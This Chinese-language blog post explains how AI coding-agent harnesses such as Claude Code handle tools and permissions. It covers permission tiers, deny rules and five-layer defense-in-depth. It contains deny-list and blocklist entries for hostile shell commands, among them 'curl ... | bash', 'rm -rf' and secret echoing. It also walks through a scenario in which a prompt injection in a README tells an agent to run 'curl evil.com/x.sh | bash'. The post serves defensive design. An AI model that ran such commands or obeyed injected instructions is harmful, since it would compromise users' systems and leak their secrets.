【Harness篇】04:工具系统、权限模型与纵深防御
文章目录
前三篇我们走完了 harness 的"思维侧"——它是什么、agent loop 怎么循环、上下文怎么写选压隔。这一篇换一个方向:模型从大脑里伸出来的那只手。
工具(tools)是模型与外部世界之间唯一的物理接口。模型本身不会读文件、不会跑 shell、不会发 HTTP 请求——它只能输出结构化的 tool_use 块;harness 拦截、校验、执行,再把结果写回上下文。这条"模型 → 结构化请求 → harness 校验 → 执行 → 回灌"的链路,是 agent 安全的根。Jailbreak 模型也突破不了 harness,原因正在这条链路的两端被切成两条独立 code path 的设计上。
本篇把这条链路彻底拆开来讲:从 function calling 的演化到 19 个内置工具的目录,从工具注册表(Tool Registry)的工程意义到三层权限管线,从 OpenDev 论文里那张被广泛引用的 5 层纵深防御图到 Bash 这个超级工具的 6 阶段执行管线,再到 MCP 协议、ToolSearch 懒加载和沙箱化。读完你应该能回答一个核心问题:为什么权限要在注册表里强制、而不是在 agent 代码里——以及为什么这件事是企业级 AI 平台"最高杠杆的一笔投资"。
1. 从 function calling 到工具系统
2023 年 OpenAI 推出 function calling 的时候,“工具"还是一个非常轻量的概念:模型输出一段 JSON,宿主代码看到名字对得上就执行,结果回灌——一来一回,单次。彼时大多数应用是"chat + 几个 RAG 检索接口”,function calling 的设计也以此为原型。
但当 Anthropic、Cursor、Manus 这些团队真的把 agent 推进到生产线时,单次 function calling 这套抽象很快就不够用了。原因有三:
- 会话是持续的。一次任务跑 30 个 turn 是常态,工具不是一次性的"被填空"——它是 agent 的 action space。每一 turn,模型都要在所有可见工具里做一次决策:“此刻该调用谁”。
- 工具的边界要被强制。模型可能想
rm -rf /,可能想读/etc/passwd,可能想把环境变量泄漏到外网。如果工具调用不被一个独立于模型的层拦截,安全就完全寄生在模型的"意愿"上——而模型的意愿可以被 prompt injection 改写。 - 工具要可发现、可复用、可审计。同一个
query_db工具应当被多个 agent、多个 session 共享;每一次调用都该被同一套约束(rate limit、字段掩码、行数上限)拦下来;每一次调用都该落到同一个审计日志里。这件事在 chat-style 的 function calling 模型里几乎没法干净地做。
于是社区收敛出了一个更高层的抽象:工具系统(tool system)。它至少包含三件事:
- 注册表(Registry):工具的元数据(名字、JSON Schema、所需权限、只读 vs 副作用、超时上限……)
- 派发器(Dispatcher):把模型发出的
tool_use路由到具体实现,并做参数校验 - 策略层(Policy / Permission):在派发之前判断"这次调用允不允许、要不要弹窗"
这三件事抽出来,agent 才真正具备工程意义上的可治理性。Parallel.ai 一句话点题:模型生成 tool_use 块从不直接接触文件系统、shell 或网络;harness 是"hands and infrastructure",模型只是"the brain"。
工具就是模型的 action space——这一句话比任何技术细节都重要。模型决定"想做什么",harness 决定"能不能做"。两者越彻底地分开,越安全。
2. Claude Code 的 19 个内置工具
Claude Code 把内置工具收敛到了 19 个 permission-gated tools(社区扩展统计在 40 上下,含 LSP / 子代理 / 协调工具)。它们按用途分成 6 类,每一类都体现"为什么是它"——即模型在这一类需求下,最少需要哪几个原语。
2.1 19 工具一览表
| 类别 | 工具 | 一句话作用 | 为什么是它 |
|---|---|---|---|
| 文件 (File) | Read |
读取文件(含图像 / PDF / notebook) | 唯一的"看代码"原语 |
Edit |
字符串精确替换或 replace_all | 比"重写整文件"更安全的局部修改 | |
Write |
整文件写入(覆盖) | 仅用于新建或全量重写 | |
| 搜索 (Search) | Glob |
路径模式匹配 | 不知道文件在哪时的入口 |
Grep |
正则内容搜索 | 跨文件定位代码片段 | |
| 执行 (Execution) | Bash |
任意 shell 命令(含后台) | 工具中的工具,见 §6 |
| Web | WebSearch |
搜索引擎检索 | 从开放 Web 拉信息 |
WebFetch |
抓取 URL 并 markdown 化 | 一手资料抽取 | |
| 发现 (Discovery) | ToolSearch |
按需加载工具 schema | 把 MCP 工具池从"全量入 prompt"变"懒加载" |
| 编排 (Orchestration) | Agent / Task |
派发子代理执行隔离子任务 | 第 5 篇主题 |
Skill |
调用预制工作流 / 知识包 | 复用领域知识 | |
AskUserQuestion |
暂停推理、向人类提问 | 显式 human-in-the-loop | |
TodoWrite |
维护可见的 todo 清单 | 长任务的"自我对话"载体 | |
NotebookEdit |
修改 Jupyter cell | 数据科学场景特化 | |
EnterWorktree / ExitWorktree |
进入/退出 git worktree | 多分支并行 | |
Monitor / TaskStop |
流式监控 / 终止任务 | 长任务可观测性 |
注:实际公开列表在不同版本之间会有微调(例如
Plan、KillShell、BashOutput等可能进出)。本表对齐到 Anthropic 官方文档当前的口径。
2.2 为什么是这 6 类、不是更细或更粗
这套分类的工程美学很强:每一类是一个"必需"的能力维度——
- 文件三件套(Read/Edit/Write):覆盖所有文件级 IO。
Edit和Write故意分开,是为了让模型在"我只想改一行"和"我想重写整个文件"之间显式表达意图。Edit内部还强制 read-before-edit(见 §5 Layer 1),这是"看似冗余、实则关键"的设计。 - 搜索两件套(Glob/Grep):
Glob是路径维度的,Grep是内容维度的。两者都是只读、安全、可大并发——所以默认 auto-approved。 - 执行只有 Bash:刻意不再加专用
git、npm、docker工具。理由见 §6——Bash 已经是图灵完备的"工具中的工具",再加只会增加 schema 体积、增加上下文压力。 - Web 双工具:搜索(
WebSearch)和抓取(WebFetch)显式分开,是因为它们的安全模型不同——搜索基本无副作用,抓取可能触发 SSRF、可能把内部 URL 暴露到外部。 - 发现独立成类:
ToolSearch看起来像"工具",但它的工程意义其实是 meta——它是 harness 自己用来动态扩张/收缩 action space 的入口。 - 编排类最杂:
Agent派子代理、Skill注入工作流、AskUserQuestion暂停推理、TodoWrite写自我笔记。这一类的共性是"它们改变 agent 自己的状态"。
一个值得记住的判断标准:当你想加第 20 个工具时,先问"它能不能用 Bash + 已有工具拼出来?" 如果能,就别加。工具池每多一个,所有 agent 的 prompt 上下文里都多一段 schema——这是隐形成本。
3. 工具注册表(Tool Registry):企业级 AI 的最高杠杆投资
把 §1 提到的"注册表 / 派发器 / 策略层"沉淀成一个数据结构,就是 Tool Registry。Arize 和 DigitalApplied 在他们的 reference architecture 里几乎用同样的话讲过这件事:A versioned, permissioned, discoverable tool registry is the single highest-leverage investment。它的工程意义至少有四点:
(1) 单点强制(single enforcement point)。注册表在 dispatch 之前调用 Policy Engine——这意味着无论是哪个 agent、哪个 session、哪个版本的提示词在请求工具,都被同一段权限检查逻辑拦下。换句话说,权限是注册表强制的,不是 agent 代码强制的。这件事如果反过来——每个 agent 在自己代码里检查权限——一旦其中一个 agent 写错了,整个系统的安全模型就破了。
(2) 单点审计(single audit log)。所有工具调用——request、policy decision、response、latency、cost——都落到同一份结构化日志。Arize 那篇博客说:“this inversion is what makes policy auditable.” 没有这个 inversion,审计就要在 N 个 agent 里各自实现,运维基本不可能保证一致。
(3) 复用与版本化。同一份 query_postgres 工具,可以被代码 agent、报表 agent、客服 agent 复用——但每个 agent 看到的是同一个版本、同一组 rate limit、同一种字段掩码。如果某天要把它从 v1 升到 v2,注册表里改一处,所有调用方一起平移。
(4) 共享约束(shared constraints)。这是最常被低估的一条。即使 agent 已经有权限调用工具,每一次调用仍然受 per-call constraints 约束——rate limits、record-count caps、field-level masking。比如同一个 lookup_user 工具:内部 agent 看得到 SSN,对接外部的 agent 看到的是 hash 后的字段。这条规则不是写在每个 agent 的提示词里,而是写在注册表的 policy 里——模型完全不需要知道有这件事。
把这四件事合起来:工具注册表把"安全 / 合规 / 可观测"从 N 份分散实现压成 1 份集中实现。Arize 一句结论:
Without it, every new agent reinvents integrations and breaks existing ones.
这就是为什么这件事是"最高杠杆"——它的边际收益随 agent 数量超线性增长。10 个 agent 里有 1 份共享注册表,加第 11 个 agent 几乎是 free 的;10 个 agent 各自维护权限,加第 11 个 agent 是 11 份合规审查。
4. 三层权限管线
注册表是数据结构,权限管线是它跑起来的样子。Claude Code(以及对齐它的 OpenDev、Cursor、Aider)落地了一个三层权限管线——按风险递增。
4.1 Tier 1:auto-approved(纯只读)
Read、Glob、Grep、WebSearch、WebFetch 这些是默认放行的。它们的特征是 无副作用:执行 100 次和执行 1 次的世界状态相同(除了上下文里多了一些 token)。所以让它们直接跑,没有任何安全损失。
工程上这件事有一个隐含好处:让简单的事保持简单。如果连 Read 都要弹窗,agent 上手成本会高到没人想用——而且很快用户就会无脑 yes 到所有弹窗,让"弹窗"这个机制本身失效。
4.2 Tier 2:prompt for confirmation(state-changing)
Edit、Write、Bash 默认进入 Tier 2——它们改变世界状态,所以必须人工确认。但 Claude Code 在这里有一个非常精巧的设计:auto 模式下的分类器。
Wavespeed 的 Claude Code Harness 拆解文 详细描述了这个机制:当用户切到 auto permission_mode 时,每次工具调用进来——不直接弹窗、也不直接放过——而是丢给一个独立的 Sonnet 4.6 实例做二次判断:“这个调用算不算危险?“如果分类器说"安全”,就放过;说"危险”,就升级到弹窗或拒绝。
这个分类器有一条"反常但关键"的设计原则:
It deliberately doesn’t see the agent’s prose output.
它故意不看 agent 的"自言自语"。
也就是说,分类器只看真正的工具调用本身——工具名、参数——而不看模型刚才输出的那段"我打算做 X,因为 Y"。为什么?因为如果分类器读模型的解释,模型(被 prompt injection 后)可以"sweet-talk"过分类器:“别担心,这只是个无害的清理脚本”——分类器一被措辞说服,就把恶意命令放过去了。
把分类器隔离在 prose 之外,attacker 想欺骗分类器的唯一办法是构造一个真的看起来无害的工具调用——而那条调用在 §5 还会被 Layer 4 的 dangerous pattern 检测拦一次。这是纵深防御的一个具体例子。
4.3 Tier 3:require approval / always deny(高风险)
最高一层是"必须人工批准"或"永远拒绝"。典型场景:
- shell 命令的副作用不可预测(
rm -rf、curl ... | sh、dd if=...) - 跨工作目录的写操作(往
/etc、~/.ssh、/usr/local写) - 可能的数据外泄(把环境变量 / token / 私钥 send 到外网)
- 长时间不可逆的资源动作(
docker system prune、git push --force)
这一层的特征是 deny-first:不在白名单里的,先拒绝。Dive into Claude Code 论文里把它总结成 deny-first with human escalation——默认拒绝,未识别的动作向人类升级,而不是默默通过。
4.4 6 种 permission_mode
用户可以在 6 种 permission_mode 之间切换,每一种对应一种风险偏好。下面这张表对齐到 Claude Code Agent SDK 当前的官方语义:
| 模式 | 行为 | 适用场景 |
|---|---|---|
default |
未被 allow rule 覆盖的工具触发 approval callback;没有 callback 就拒绝 | 交互式开发、第一次跑陌生项目 |
acceptEdits |
文件编辑和常见文件系统命令(mkdir/touch/mv/cp)自动批准;其它 Bash 命令仍按 default 走 | 已经信任的本地仓库,反复迭代 |
plan |
不执行任何工具,只产出计划供 review | 评审一个长任务的可行性 |
auto (TS) |
用 Sonnet 分类器自动批准/拒绝 | 半监督的长任务跑批 |
dontAsk |
永不弹窗。被 permission rule 预批的运行;其它一律 deny | 后台 agent、CI |
bypassPermissions |
所有 allow tools 不经询问直接跑(root 下禁用) | 容器、沙箱、隔离环境 |
这 6 种模式覆盖了从"事事确认"到"全部放行"的连续光谱。重点是:没有一种模式可以绕开 deny rule。bypassPermissions 也只是绕过 ask,deny 永远生效。
4.5 allow / ask / deny 的评估顺序:deny always wins
权限规则有三种:allowed_tools(白名单)、disallowed_tools(黑名单)、permission_mode(默认行为)。它们的评估顺序非常重要:
对每一次 tool call:
1. 命中 deny rule? → 直接拒绝(即使在 allow 列表里)
2. 命中 allow rule? → 自动放行(除非 deny 命中)
3. 既不在 allow、也不在 deny → 走 permission_mode 规则
deny always wins 是这套语义的安全锚。哪怕你不小心把 Bash(*) 加到了 allow——只要 deny 里写了 Bash(rm -rf *),那条永远跑不了。这是为了防止"权限规则被用户误配置后变成单点失效"。
工具规则还能做参数级 scoping:Bash(npm *) 只允许 npm 子命令、Edit(src/**/*.py) 只允许编辑 src 下的 Python。粒度落到参数,而不是工具名。
5. 纵深防御:5 层 defense-in-depth
权限管线只是 一层。OpenDev 论文 Building AI Coding Agents for the Terminal 里把整个安全架构总结成 5 层纵深防御(5-layer defense-in-depth)——任何一层失效,剩下 4 层都能兜住。
5.1 总览表
| 层 | 名字 | 拦截位置 | 典型机制 | 失效后果 |
|---|---|---|---|---|
| L1 | Prompt-level guardrails | 模型之内 | 系统提示词里的强制规则(read-before-edit、git workflow、error recovery) | 模型自己越权,但下游可拦 |
| L2 | Schema-level restrictions | 模型可见性之外 | plan-mode 白名单、子代理 allowlist、MCP 发现门控 | 模型看不到的工具就不会调 |
| L3 | Runtime approval | 调用发出后、执行前 | manual / semi-auto / auto 三档审批;persistent permissions | attacker 仍要骗过审批 |
| L4 | Tool-level validation | 进入工具实现 | DANGEROUS_PATTERNS 黑名单、stale-read 检测、超时、输出截断 | 工具自己拒绝执行 |
| L5 | Lifecycle hooks | 用户脚本拦截 | PreToolUse / PostToolUse / UserPromptSubmit / Stop | 用户自定义最后一道闸 |
每一层都是独立的代码路径——这是核心。
5.2 Layer 1:prompt-level
最里面一层在系统提示词里。Claude Code 的 system prompt 包含若干强制规则,最有名的是 read-before-edit:模型在 Edit 一个文件之前必须先 Read 它。这条规则有两个目的:
- 让模型对要改的代码有上下文,避免"瞎改"
- 配合 §5.5 的 stale-read 检测——
Edit工具会检查"你 Read 时和现在的内容是不是一致"
类似的还有:error recovery(失败时不要硬试三次以上)、git workflow(提交前跑测试)、security policy(不要把密钥写到 commit 信息)。
这一层的弱点:依赖模型听话。一旦 prompt injection 把模型说服了,这层立刻失效。所以它一定要被下面 4 层兜底。
5.3 Layer 2:schema-level
更外面一层是 根本不让模型看到。在 plan-mode 下,所有"写"工具都不在 tool schema 里——模型即使想调 Edit,输出的 tool_use 也会因为 unknown tool name 被驳回。这就是 plan-mode whitelist。
类似的还有 per-subagent allowlist:一个 reviewer 子代理只配 Read/Grep/Glob,连 Bash 都没有;让它怎么 jailbreak 都跑不了任意命令。
MCP discovery gating 是 schema-level 的特例:MCP 工具不是默认全部加载,而是通过 ToolSearch 按需加——一个工具不被 search 出来,模型连它的存在都不知道。
这一层的弱点:一旦工具 schema 被错误地放进列表,攻击面就开了。但要做到这件事,需要 harness 配置层面的失误,不是模型层面能做到的。
5.4 Layer 3:runtime approval
这层就是 §4 讲的三 tier 权限管线 + auto 分类器。重点是它完全在 harness 里,模型对它没有可见性——模型不知道用户是不是在 dontAsk 模式、不知道哪些规则是 deny、不知道分类器会用什么标准判断。
这一层的弱点:用户疲劳。Anthropic 自己的研究数据:users approve ~93% of prompts——这意味着如果靠用户点 yes 来挡,约 93% 的恶意请求会被放过。所以 runtime approval 不能是唯一一层,必须配合 L1-L2 减少进入 L3 的请求量、配合 L4-L5 兜后续。
5.5 Layer 4:tool-level validation
进入工具的实现层,每个工具自己再做一次校验:
- DANGEROUS_PATTERNS 检测(Bash):黑名单
rm -rf /、> /dev/sda、curl ... | bash、echo $SECRET,命中即拒绝 - stale-read 检测(Edit):对比 Edit 时文件内容与上次 Read 时是否一致;不一致则强制重读,避免覆盖并发修改
- 路径越界检测(Edit / Write):拒绝写到工作目录之外
- 超时:所有工具都有上限(默认 Bash 2 分钟,最长 10 分钟),防止挂死
- 输出截断:超长输出自动截断并提示,防止单次工具调用炸 context
这一层的弱点:黑名单永远不全。但它至少把"已知坏的"挡住,让攻击成本上升。
5.6 Layer 5:lifecycle hooks
最外面一层是用户自己的脚本。Hooks 通过 JSON stdin protocol 在工具执行前后被调用——可以阻断(exit code 2)、可以变形参数、可以审计。
下面是一段最常见的 settings.json 片段(节选自 aicodeinvest 的实践指南):
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"command": "scripts/check-dangerous.sh \"$CLAUDE_TOOL_INPUT\""
}
],
"PostToolUse": [
{
"matcher": "Write|Edit",
"command": "uv run ruff check --fix $CLAUDE_FILE_PATH 2>/dev/null || true"
}
],
"PreCompact": [
{
"command": "scripts/archive-transcript.sh"
}
]
},
"permissions": {
"allow": ["Read", "Glob", "Grep", "Bash(npm *)"],
"deny": ["Bash(rm -rf *)", "Bash(curl * | bash)", "Edit(/.ssh/**)"]
}
}
注意上面这段:Bash(npm *) 是 allow,但 Bash(rm -rf *) 是 deny——即使 rm -rf * 在 allow 的 Bash(*) 范围内(如果你这么配过),deny 也会赢。
第 6 篇会专门讲 hooks 的实战 trick,这里不展开。
5.7 为什么 5 层独立至关重要
每一层都有自己的弱点(上文已列)——但没有一种攻击同时绕过所有 5 层。这是论文里那句"failure of any single layer does not compromise the remaining four"的含义。
举一个具体场景:用户在 README 里碰到了一段恶意 prompt injection,让模型执行 curl evil.com/x.sh | bash。
- L1 失效:模型被说服了
- L2 还在:
Bash仍在 schema 里,所以模型可以发出调用 - L3 拦截:runtime 看到一个未在 allow 里的 Bash 调用,弹窗给用户
- L4 兜底:即使用户点了 yes,DANGEROUS_PATTERNS 命中
curl ... | bash,工具自身拒绝 - L5 备份:用户的 PreToolUse hook 还可以再做一次自定义检查
只要 5 层中任意 1 层正确,攻击就失败。这就是纵深防御的力量。
6. Bash:工具中的工具
19 个工具里 Bash 是最特殊的——它图灵完备、副作用最大、攻击面最广,同时也是 agent 完成"开发任务"的核心。OpenDev 论文里把 Bash 的执行管线拆成了 6 个阶段:
┌─────────────────────────────────────────┐
model ──→ │ Stage 1: Validation & Parsing │ ──→ DANGEROUS_PATTERNS 黑名单
└────────────────┬────────────────────────┘
│
┌────────────────▼────────────────────────┐
│ Stage 2: Dry-Run │ ──→ shell parser 静态检查
└────────────────┬────────────────────────┘
│
┌────────────────▼────────────────────────┐
│ Stage 3: Server Detection │ ──→ 把 server-like 命令改走后台
└────────────────┬────────────────────────┘
│
┌────────────────▼────────────────────────┐
│ Stage 4: Approval Gate │ ──→ 三 tier 权限 + auto 分类器
└────────────────┬────────────────────────┘
│
┌────────────────▼────────────────────────┐
│ Stage 5: Execution │ ──→ 输出捕获、超时、流式
└────────────────┬────────────────────────┘
│
┌────────────────▼────────────────────────┐
│ Stage 6: Background Task Mgmt │ ──→ list/get_process_output
└─────────────────────────────────────────┘
每一阶段都值得讲一句:
- Stage 1:Validation & Parsing。命令进来先过 DANGEROUS_PATTERNS 黑名单——不是简单 substring,而是 shell-aware 的解析,能识别
r''m -rf /之类的简单 obfuscation 绕过。 - Stage 2:Dry-Run。shell parser 静态分析命令——比如检查 redirection 目标在不在工作目录、subshell 里有没有可疑 pattern。这一步不真的执行,只是预审。
- Stage 3:Server Detection。这是个非常巧妙的设计。如果命令是
python -m http.server、npm run dev、uvicorn app:main这种会监听端口、永不返回的 server-like 命令,agent loop 就被堵死了——模型在等命令返回,而命令永远不会返回。Server Detection 通过模式匹配把这类命令自动改走后台执行,立即返回 PID 和状态,agent 继续干活。 - Stage 4:Approval Gate。这里就是 §4 的三 tier 权限——如果命令在 allow 里就跑、在 deny 里就拒、否则走 permission_mode。persistent permissions 让用户批准一次"npm *"以后再也不会问。
- Stage 5:Execution。捕获 stdout/stderr、强制超时、超长截断、流式回灌给模型。
- Stage 6:Background Task Management。后台进程通过
list_processes/get_process_output暴露给 agent,让模型可以在后台 server 跑着的同时跑测试、查日志、做编辑。
Bash 是"工具中的工具":很多需求与其加一个专用工具,不如让模型用 Bash 自己组装。比如"列出最近改过的 Python 文件"——不需要专门加一个 recent_python_files,让模型 find . -name '*.py' -mtime -1 就完了。这是 Anthropic 的设计哲学:优先用 Bash 拼凑、只在重复出现 5 次以上才上专用工具。
代价是 Bash 的安全模型最复杂——所以它独享了 6 阶段管线。
7. MCP 协议与动态工具发现
如果说 19 个内置工具是 harness 的"原生 action space",那 MCP(Model Context Protocol) 就是"用户自带的扩展"。它是 Anthropic 在 2024 末推出、2025 全年快速演化的开放协议——任何外部服务(数据库、浏览器、API、内部系统)都能通过 MCP server 把自己暴露成工具。
7.1 三种 transport
MCP 支持三种传输方式,对应不同部署形态:
| Transport | 形态 | 适用场景 |
|---|---|---|
| stdio | 本机 subprocess | 本地工具(postgres、filesystem、playwright) |
| HTTP | 网络 endpoint | 远程托管、跨机器 |
| SSE (Server-Sent Events) | 长连接流 | 服务端推送、长任务进度 |
stdio 最简单,subprocess 启动即用;HTTP 适合企业级共享 server;SSE 在流式更新场景下省一次往返。
7.2 为什么 MCP server 上限 ~5–6 个
每个 stdio MCP server 都是一个 subprocess,启动开销不小(典型 200ms–2s)。更关键的是,每个 server 把它所有工具的 schema 全部塞进 prompt——一个 server 暴露 30 个工具,就是 30 段 schema 永久占用 context。
Wavespeed 那篇文 给出的实践数字是 ~5–6 个 active MCP servers——再多就明显感到推理变慢、context 紧张。这是个软上限,但跨多个团队的实测都在这附近。
7.3 ToolSearch:懒加载救星
直接的解决思路是"按需加载"。Anthropic 的官方做法是把工具发现本身做成一个工具:ToolSearch。它的工作流是:
session 启动
│
▼
只把工具的"名字"塞进 prompt(每个工具仅占几十 token)
│
▼
模型判断需要某个工具时,调 ToolSearch("query")
│
▼
匹配到的工具的完整 schema 才被注入到下一 turn 的 context
│
▼
后续 turn 模型可以直接调用这些工具
效果:原本要进 prompt 的 30 段 schema,变成 30 个名字(节省 ~95% 上下文压力);只在真正用得上时把 schema 拉进来。这是 §5.3 schema-level defense 的另一面——减少 attack surface,模型连工具的存在都不知道,就更不会被误导去调它。
ToolSearch 之所以重要,是因为它把"发现"本身变成 agent 可推理的对象。模型可以"我需要个搜数据库的工具"——而不是"在我已经被注入的 30 个工具里挑一个"。这把 action space 的扩张 也纳入了 agent loop 的循环中。
8. 沙箱化:从硬隔离到软沙箱
权限管线决定"允不允许",沙箱决定"即使发出去、能不能造成实际伤害"。两者互补。
| 沙箱类型 | 实现 | 强度 | 代价 |
|---|---|---|---|
| 容器(hard isolation) | Docker / Firecracker / gVisor | 最强,进程级文件系统 + 网络隔离 | 启动慢、资源开销大 |
| 网络 allow-list | iptables / pf / DNS 白名单 | 中等,只挡网络面 | 配置复杂 |
| 文件系统 chroot / namespace | Linux user namespace | 中等,只挡文件面 | 跨平台支持参差 |
| 能力限定(capabilities) | cap_drop=ALL |
强,但需要细致裁剪 | 容易裁过头让程序跑不起来 |
实践中常见组合是 容器(base layer)+ 网络白名单(per-agent)+ permission rules(per-tool)。这样模型即使被 jailbreak、harness 即使被绕过,最终能造成的物理伤害仍被沙箱挡在外面。
一个值得强调的点:沙箱不是替代权限管线,而是对它的兜底。容器化的 agent 仍然要配 deny rules——因为容器内部的破坏(删文件、刷 API quota、暴露密钥)仍然是真实损失。
9. 从权限看 harness 与模型的"分工"
把这 9 节缝起来,能得出本系列开头那个最尖锐的论断:
Reasoning 与 enforcement 切成两条独立 code path——模型决定"想做什么",harness 决定"能不能做"。
这一刀切下去,安全模型的形状彻底变了:
- 模型生成
tool_useblock,但不直接接触文件系统、shell、网络 - harness 收到 block,过 §5 的 5 层防御
- 任何一层 deny,都不会执行
- 模型即使被 prompt injection、被 jailbreak、被 fine-tune 成恶意——它只能输出"想",输出不到"做"
这就是 Dive into Claude Code 那篇论文反复强调的核心论点:
Because reasoning and enforcement occupy separate code paths, a compromised or adversarially manipulated model cannot override the sandboxing, permission checks, or deny-first rules implemented in the harness.
这是为什么 jailbreak 模型也突破不了 harness 的 根本原因——不是因为 harness 的规则更聪明,而是因为它根本不在模型的影响范围之内。
这条原则也解释了为什么"agent 安全 = harness 安全"——而不是"= 模型安全"。模型每代都更聪明,但每代也更容易被 prompt 工程操纵;如果安全寄生在模型上,每次发版都是赌博。把安全沉淀到 harness 里,模型可以随便换——v1 / v2 / v3 / v4 / v6 一路升级,harness 的 deny rules 一行不改、依然有效。
关键 takeaway
- 工具是模型的 action space——单次 function calling 已经被 19 工具 + 注册表 + 权限管线的"工具系统"全面替代。
- 权限在注册表强制、不在 agent 代码里——这是企业级 AI 平台最高杠杆的一笔投资,单点强制 + 单点审计 + 共享约束。
- 三 tier + 6 mode + deny-always-wins——allow / ask / deny 三种规则、6 种 permission_mode、deny 永远赢的语义构成了运行时审批的全部表达力。auto 模式下的分类器故意不看 agent 的 prose,是为了挡 prompt injection。
- 5 层纵深防御——prompt / schema / runtime / tool / hooks 五层独立,单点失效不会让系统失守。Bash 因为副作用最大,独享 6 阶段执行管线(含 server detection 和后台任务管理)。
- Reasoning 与 enforcement 两条 code path——模型决定"想做什么",harness 决定"能不能做"。这是 jailbreak 模型也突破不了 harness 的根本原因。
参考资料
- Anthropic 官方:How the agent loop works(permission_mode 与 allow/disallow 完整文档)
- WaveSpeed:Claude Code Agent Harness Architecture(19 工具、3 tier、auto 分类器细节)
- arXiv:Building AI Coding Agents for the Terminal(5 层纵深防御、Bash 6 阶段管线最权威来源)
- arXiv:Dive into Claude Code(deny-first with human escalation、reasoning-enforcement 切分)
- Arize:What is an Agent Harness?(permission layer、registry 工程意义)
- DigitalApplied:Enterprise Agent Platform Reference Architecture(注册表为单一执行点)
- Parallel.ai:What is an Agent Harness?(reasoning vs enforcement)
- AICodeInvest:Harness Engineering for Claude Code AI Agents(hooks 配置示例)
- Brooks Wilson:Claude Code Architecture Explained(工具系统三层架构)
- Model Context Protocol:官方协议规范(stdio / HTTP / SSE 三种 transport)
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐

所有评论(0)